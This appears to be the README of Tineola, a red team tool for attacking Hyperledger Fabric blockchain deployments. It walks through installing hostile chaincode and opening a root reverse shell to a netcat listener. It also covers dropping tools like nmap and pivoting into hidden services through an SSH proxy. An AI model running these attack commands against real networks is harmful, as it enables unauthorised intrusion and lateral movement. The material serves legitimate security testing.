Comitting insurance fraud with Tineola is a hands-on tutorial to hack the insurance app. It's a step-by-step guide to recreating the presentation demos.
Tineola is a red team tool for interfacing with Hyperledger Fabric deployments, networks, and chaincodes. Tineola is designed to work in as many configurations as possible, and require only the bare minimum configuration to get started. Tineola also ships with tineolacc, special chaincode for performing evil peer attacks.
Tineola requires NodeJS 8.x or newer.
- git clone https://github.com/tineola/tineola
- cd tineola; npm install
- cd bin; ./tineola.js
Tineola will load a
.tineola-rc file from the current directory (if it exists) upon loading and execute any commands found within.
Tineola is an interactive command-line application with commands split into modules. The following is a list of common actions and the associated Tineola commands. A complete list of commands can be obtained by using the
help command. Command syntax can be displayed with the
Authenticating to a CA server for the first time (aka Enrollment)
tineola> ca-set https://ca.example.com:7050 tineola> user-set admin tineola> ca-enroll adminpw ExampleOrgMSP
After these commands, the admin user has been enrolled into Tineola's keystore. Subsequent use of Tineola with the same CA server and user will not need re-enrollment. Simply using the
user-set admin is sufficient for loading local user keys.
Connecting to a peer and listing existing channels
tineola> user-set admin tineola> peer-set grpcs://peer1.example.com:7051 tineola> peer-list-channels
Connecting to a channel and show last 20 blocks
tineola> user-set admin tineola> per-set grpcs://peer1.example.com:7051 tineola> channel-set testChan tineola> channel-history --last 20
Query/Invoke existing chaincode
Querying refers to calling a chaincode function and receiving a response, but without ordering the transaction. The result is a "Read-only" chaincode call.
Invoking refers to calling a chaincode function and ordering the response which allows it to be read & write.
Both actions use the
channel-query-cc Tineola command with or without the
Invocation requires an orderer to be set.
Note: invoking requires the endorsement policy to be met, whereas querying does not.
tineola> user-set admin tineola> peer-set grpcs://peer1.example.com:7051 tineola> channel-set testChan tineola> channel-query-cc ccName ccFuncName tineola> orderer-set grpcs://orderer1.example.com:7050 tineola> channel-query-cc --invoke ccName ccFuncName
Installing the Tineola chaincode
Most commands in the "tineola" module require the "tineolacc" chaincode to be installed to the peer.
Note that this action requires a peer administrator certificate to be accomplished and be acceptable to the channel endorsement policy.
tineola> user-set peerAdmin tineola> channel-set testChan tineola> tineola-install
Reverse shell from the Tineola chaincode
Start a tcp listener on the Tineola machine (
10.0.0.5 in this example)
nc -l 31337
Use Tineola to launch the chaincode
tineola> user-set admin tineola> channel-set testChan tineola> tineola-shell 10.0.0.5:31337
The tcp listener should be given a root shell within the chaincode container. This container is a bare Ubuntu image. Use
apt update and
apt install ... to download packages if the peer is internet connected. If the peer is not internet connected, the
tineola-http-drop command can be used to drop useful binaries like nmap.
Creating a reverse proxy with the Tineola chaincode
It may be useful to pivot through the chaincode container to access hidden network services such as CouchDB containers or other peers.
The following assumes the Tineola machine is at
10.0.0.5, has ssh installed and running.
The Tineola chaincode uses private key authentication to connect over ssh back to the Tineola machine.
An allowed ssh private key should be present at
~/tineola-ssh-key for tineola to use.
Note: make sure to disallow this key after using Tineola.
Tineola makes no effort to encrypt or otherwise hide this key during or after use by the chaincode.
This key will likely be present on the chaincode container indefinitely.
Keys can be generated using
ssh-keygen and installed to
The username below "user" should be changed to match the username of the tineola machine.
The target should be in the form
IP:PORT and is
10.10.0.100:1234 in the example below.
tineola> user-set admin tineola> user-set channel-set testChan tineola> peer-set grpcs://peer1.example.com:7051 tineola> tineola-ssh-proxy 10.10.0.100:1234 10.0.0.5 user ~/tineola-ssh-key
Using Tineola with Burp or another HTTP-base application proxy/scanner
It may be useful to connect Tineola to an application scanner or proxy for ease of use when testing chaincode. Further, many Fabric deployments will use chain data in web applications upstream, making web application scanners great for detecting web vulnerability originating from chaincode.
tineola> user-set admin tineola> peer-set grpcs://peer1.example.com:7051 tineola> channel-set testChans tineola> orderer-set grpcs://orderer1.example:7050 tineola> tineola-http-proxy
Next, configure the HTTP scanner to use the port opened locally (default:
The format of HTTP requests should be:
POST /ccName/funcName HTTP/1.1 HLF-Invoke: yes ["arguments","as", "json"]
HLF-Invoke header controls whether or not to send the request for ordering.
HLF-Invoke is set to "no" the query will be made read only but responses can still be collected from the chaincode.
The orderer is not needed to be configured if invoking is disabled.
This software is released by Synopsys under the MIT license.